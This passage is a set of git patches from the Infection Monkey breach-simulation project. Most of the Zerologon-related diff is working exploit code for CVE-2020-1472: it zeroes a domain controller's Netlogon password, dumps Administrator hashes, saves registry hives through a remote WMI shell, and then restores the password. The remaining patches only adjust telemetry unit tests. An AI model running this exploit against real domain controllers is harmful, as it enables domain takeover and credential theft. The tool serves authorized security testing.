0866aee2cf75c710dd758a284c0c0b45f57d9fdc Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 12 Feb 2021 13:58:19 +0530 Subject: [PATCH 299/466] Testing changes --- monkey/infection_monkey/exploit/zerologon.py | 18 ++++++++++++------ .../exploit/zerologon_utils/dump_secrets.py | 2 -- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 8ee3117d7..e8cf0ab6b 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,15 +3,13 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ -import io import logging import os -import sys from binascii import unhexlify from typing import List, Optional import impacket -from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType @@ -57,6 +55,8 @@ class ZerologonExploiter(HostExploiter): LOG.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) + rpc_con.disconnect() + else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") _exploited = False @@ -73,12 +73,13 @@ class ZerologonExploiter(HostExploiter): return _exploited def is_exploitable(self) -> bool: - if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']: - return True + if self.zerologon_finger._SCANNED_SERVICE in self.host.services: + return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable'] return self.zerologon_finger.get_host_fingerprint(self.host) def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: # Max attempts = 2000. Expected average number of attempts needed: 256. + result_exploit_attempt = None for _ in range(0, self.MAX_ATTEMPTS): try: result_exploit_attempt = self.attempt_exploit(rpc_con) @@ -154,6 +155,10 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) + finally: + if rpc_con: + rpc_con.disconnect() + def get_admin_pwd_hashes(self) -> str: try: options = OptionsForSecretsdump( @@ -295,8 +300,9 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]: + def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]: # Max attempts = 2000. Expected average number of attempts needed: 256. + result_restoration_attempt = None for _ in range(0, self.MAX_ATTEMPTS): try: result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 2e73ff9de..0aa705125 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -1,7 +1,5 @@ -import io import logging import os -import sys import traceback from impacket.examples.secretsdump import (LocalOperations, LSASecrets, From 0992e276b4b67be78b4690a33af66aa722ff6fc9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 13 Feb 2021 01:37:53 +0530 Subject: [PATCH 300/466] More CR changes TODO: - impacket license - get pwd for some other users if 'Administrator' doesn't exist (and save all users' creds?) - unit tests --- monkey/infection_monkey/exploit/zerologon.py | 133 +++++++++++------- .../exploit/zerologon_utils/dump_secrets.py | 4 +- .../network/zerologon_fingerprint.py | 24 ++-- .../infection_monkey/utils/capture_output.py | 2 +- 4 files changed, 99 insertions(+), 64 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index e8cf0ab6b..2eace5724 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -19,7 +19,7 @@ from infection_monkey.exploit.zerologon_utils.options import \ OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger -from infection_monkey.utils.capture_output import StdoutOutputCaptor +from infection_monkey.utils.capture_output import StdoutCapture LOG = logging.getLogger(__name__) @@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} - def _exploit_host(self) -> Optional[bool]: + def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): @@ -49,7 +49,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + return False # Start exploiting attempts. LOG.debug("Attempting exploit.") @@ -58,12 +58,15 @@ class ZerologonExploiter(HostExploiter): rpc_con.disconnect() else: - LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") - _exploited = False + LOG.info("Exploit not attempted. " + "Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.") + return False # Restore DC's original password. if _exploited: - if self.restore_password(): + is_pwd_restored, restored_pwd_hashes = self.restore_password() + if is_pwd_restored: + self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes) LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -75,32 +78,34 @@ class ZerologonExploiter(HostExploiter): def is_exploitable(self) -> bool: if self.zerologon_finger._SCANNED_SERVICE in self.host.services: return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable'] - return self.zerologon_finger.get_host_fingerprint(self.host) + else: + is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle, + dc_ip=self.dc_ip, + dc_name=self.dc_name) + return is_vulnerable - def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: + def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. - result_exploit_attempt = None for _ in range(0, self.MAX_ATTEMPTS): - try: - result_exploit_attempt = self.attempt_exploit(rpc_con) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") + exploit_attempt_result = self.try_exploit_attempt(rpc_con) - if result_exploit_attempt is not None: - if result_exploit_attempt['ErrorCode'] == 0: - self.report_login_attempt(result=True, user=self.dc_name) - _exploited = True - LOG.info("Exploit complete!") - else: - self.report_login_attempt(result=False, user=self.dc_name) - _exploited = False - LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") - return _exploited + is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) + if is_exploited: + return is_exploited + + return False + + def try_exploit_attempt(self, rpc_con): + try: + exploit_attempt_result = self.attempt_exploit(rpc_con) + return exploit_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -121,10 +126,25 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = authenticator - def restore_password(self) -> Optional[bool]: + def assess_exploit_attempt_result(self, exploit_attempt_result): + if exploit_attempt_result: + if exploit_attempt_result['ErrorCode'] == 0: + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True + LOG.info("Exploit complete!") + else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False + LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") + return _exploited + + def restore_password(self) -> (Optional[bool], List[str]): LOG.info("Restoring original password...") try: + admin_pwd_hashes = None + rpc_con = None + # DCSync to get Administrator password's hashes. LOG.debug("DCSync; getting Administrator password's hashes.") admin_pwd_hashes = self.get_admin_pwd_hashes() @@ -133,7 +153,7 @@ class ZerologonExploiter(HostExploiter): # Use Administrator password's NT hash to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) + original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -142,7 +162,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + return False, admin_pwd_hashes # Start restoration attempts. LOG.debug("Attempting password restoration.") @@ -150,16 +170,17 @@ class ZerologonExploiter(HostExploiter): if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") - return _restored + return _restored, admin_pwd_hashes except Exception as e: LOG.error(e) + return None, admin_pwd_hashes finally: if rpc_con: rpc_con.disconnect() - def get_admin_pwd_hashes(self) -> str: + def get_admin_pwd_hashes(self) -> List[str]: try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -173,8 +194,7 @@ class ZerologonExploiter(HostExploiter): user = 'Administrator' hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) - return ':'.join(hashes) # format - "lmhash:nthash" + return hashes # format - [lmhash, nthash] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") @@ -258,9 +278,8 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - output_captor = StdoutOutputCaptor() + output_captor = StdoutCapture() output_captor.capture_stdout_output() - try: # Save HKLM keys on victim. remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + @@ -300,23 +319,30 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]: + def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. - result_restoration_attempt = None for _ in range(0, self.MAX_ATTEMPTS): - try: - result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") + restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) - if result_restoration_attempt: - LOG.debug("DC machine account password should be restored to its original value.") - return True + is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) + if is_restored: + return is_restored + + return False + + def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool: + try: + restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) + return restoration_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + return False def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: plaintext = b'\x00'*8 @@ -357,6 +383,11 @@ class ZerologonExploiter(HostExploiter): return rpc_con + def assess_restoration_attempt_result(self, restoration_attempt_result): + if restoration_attempt_result: + LOG.debug("DC machine account password should be restored to its original value.") + return True + class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 0aa705125..eeae24e97 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -7,7 +7,7 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, SAMHashes) from impacket.smbconnection import SMBConnection -from infection_monkey.utils.capture_output import StdoutOutputCaptor +from infection_monkey.utils.capture_output import StdoutCapture LOG = logging.getLogger(__name__) @@ -53,7 +53,7 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - output_captor = StdoutOutputCaptor() + output_captor = StdoutCapture() output_captor.capture_stdout_output() dumped_secrets = '' diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index fca17199b..db94e9908 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -30,19 +30,11 @@ class ZerologonFinger(HostFinger): # Approximate time taken by 2000 attempts: 40 seconds. LOG.info('Performing Zerologon authentication attempts...') - rpc_con = None - for _ in range(0, self.MAX_ATTEMPTS): - try: - rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) - if rpc_con is not None: - break - except Exception as ex: - LOG.info(ex) - break + auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name) self.init_service(host.services, self._SCANNED_SERVICE, '') - if rpc_con: + if auth_successful: LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True return True @@ -73,6 +65,18 @@ class ZerologonFinger(HostFinger): except BaseException as ex: LOG.info(f'Exception: {ex}') + def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool: + for _ in range(0, self.MAX_ATTEMPTS): + try: + rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) + if rpc_con is not None: + rpc_con.disconnect() + return True + except Exception as ex: + LOG.info(ex) + return False + return False + def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(dc_ip) diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py index 4c27abfeb..024c4c977 100644 --- a/monkey/infection_monkey/utils/capture_output.py +++ b/monkey/infection_monkey/utils/capture_output.py @@ -2,7 +2,7 @@ import io import sys -class StdoutOutputCaptor: +class StdoutCapture: def __init__(self): _orig_stdout = None _new_stdout = None From 4158ed802b0afc5945f412b982073f95287d6d15 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Feb 2021 17:15:49 +0200 Subject: [PATCH 301/466] Refactored telemetry unit tests to json encode data the same way telemetries do. --- .../telemetry/tests/attack/test_attack_telem.py | 4 ++++ .../telemetry/tests/attack/test_t1005_telem.py | 3 +++ .../telemetry/tests/attack/test_t1035_telem.py | 3 +++ .../telemetry/tests/attack/test_t1064_telem.py | 3 +++ .../telemetry/tests/attack/test_t1105_telem.py | 3 +++ .../telemetry/tests/attack/test_t1106_telem.py | 3 +++ .../telemetry/tests/attack/test_t1107_telem.py | 3 +++ .../telemetry/tests/attack/test_t1129_telem.py | 3 +++ .../telemetry/tests/attack/test_t1197_telem.py | 5 ++++- .../telemetry/tests/attack/test_t1222_telem.py | 5 ++++- .../telemetry/tests/attack/test_usage_telem.py | 3 +++ .../telemetry/tests/attack/test_victim_host_telem.py | 5 ++++- .../infection_monkey/telemetry/tests/test_exploit_telem.py | 3 +++ .../telemetry/tests/test_post_breach_telem.py | 3 +++ monkey/infection_monkey/telemetry/tests/test_scan_telem.py | 4 ++++ monkey/infection_monkey/telemetry/tests/test_state_telem.py | 4 ++++ .../telemetry/tests/test_system_info_telem.py | 3 +++ monkey/infection_monkey/telemetry/tests/test_trace_telem.py | 4 ++++ monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py | 4 ++++ 19 files changed, 65 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py index 5d14d0aad..0812b1ea6 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -16,5 +18,7 @@ def attack_telem_test_instance(): def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): attack_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": TECHNIQUE} + expected_data = json.dumps(expected_data, cls=attack_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py index 528d6dca8..6464d1121 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -22,5 +24,6 @@ def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): "gathered_data_type": GATHERED_DATA_TYPE, "info": INFO, } + expected_data = json.dumps(expected_data, cls=T1005_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py index 6c4e704bf..6313278ff 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus, UsageEnum @@ -16,5 +18,6 @@ def T1035_telem_test_instance(): def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): T1035_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": "T1035", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1035_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py index fce3107ff..08031316b 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -16,5 +18,6 @@ def T1064_telem_test_instance(): def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): T1064_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": "T1064", "usage": USAGE_STR} + expected_data = json.dumps(expected_data, cls=T1064_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py index 3b71bd56e..4c3947141 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -24,5 +26,6 @@ def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): "src": SRC_IP, "dst": DST_IP, } + expected_data = json.dumps(expected_data, cls=T1105_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py index f51d124d0..db537cc51 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus, UsageEnum @@ -16,5 +18,6 @@ def T1106_telem_test_instance(): def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): T1106_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": "T1106", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1106_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py index 2e519a934..993040244 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -16,5 +18,6 @@ def T1107_telem_test_instance(): def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): T1107_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": "T1107", "path": PATH} + expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py index f07e83ae7..fa619f148 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus, UsageEnum @@ -16,5 +18,6 @@ def T1129_telem_test_instance(): def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): T1129_telem_test_instance.send() expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1129_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index c67832281..c5aa8874a 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -20,10 +22,11 @@ def T1197_telem_test_instance(): def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): T1197_telem_test_instance.send() expected_data = { - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, "status": STATUS.value, "technique": "T1197", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, "usage": USAGE_STR, } + expected_data = json.dumps(expected_data, cls=T1197_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index f053b9ca4..d3aeaddd6 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus @@ -20,10 +22,11 @@ def T1222_telem_test_instance(): def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): T1222_telem_test_instance.send() expected_data = { - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, "status": STATUS.value, "technique": "T1222", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, "command": COMMAND, } + expected_data = json.dumps(expected_data, cls=T1222_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py index 1a4009be9..983c1961d 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus, UsageEnum @@ -21,5 +23,6 @@ def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): "technique": TECHNIQUE, "usage": USAGE.name, } + expected_data = json.dumps(expected_data, cls=usage_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 98d62f05b..014aadb8f 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from common.utils.attack_utils import ScanStatus, UsageEnum @@ -20,9 +22,10 @@ def victim_host_telem_test_instance(): def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): victim_host_telem_test_instance.send() expected_data = { - "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, "status": STATUS.value, "technique": TECHNIQUE, + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP} } + expected_data = json.dumps(expected_data, cls=victim_host_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index a1d79ef64..56d39fe06 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.exploit.wmiexec import WmiExploiter @@ -46,5 +48,6 @@ def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): "info": EXPLOITER_INFO, "attempts": EXPLOITER_ATTEMPTS, } + expected_data = json.dumps(expected_data, cls=exploit_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "exploit" diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index ebd085a8d..4aaaedb08 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -32,5 +34,6 @@ def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_teleme "hostname": HOSTNAME, "ip": IP, } + expected_data = json.dumps(expected_data, cls=post_breach_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "post_breach" diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index 645cbbaf7..017a7d062 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.scan_telem import ScanTelem @@ -28,5 +30,7 @@ def scan_telem_test_instance(): def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): scan_telem_test_instance.send() expected_data = {"machine": HOST_AS_DICT, "service_count": len(HOST_SERVICES)} + expected_data = json.dumps(expected_data, cls=scan_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "scan" diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py index 5d0eeabce..fe7bb3293 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.state_telem import StateTelem @@ -15,5 +17,7 @@ def state_telem_test_instance(): def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): state_telem_test_instance.send() expected_data = {"done": IS_DONE, "version": VERSION} + expected_data = json.dumps(expected_data, cls=state_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "state" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py index dc362f7a7..0caba8967 100644 --- a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py @@ -1,3 +1,5 @@ +import json + import pytest from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -14,5 +16,6 @@ def system_info_telem_test_instance(): def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): system_info_telem_test_instance.send() expected_data = SYSTEM_INFO + expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "system_info" diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py index 9b297c4ea..567750e96 100644 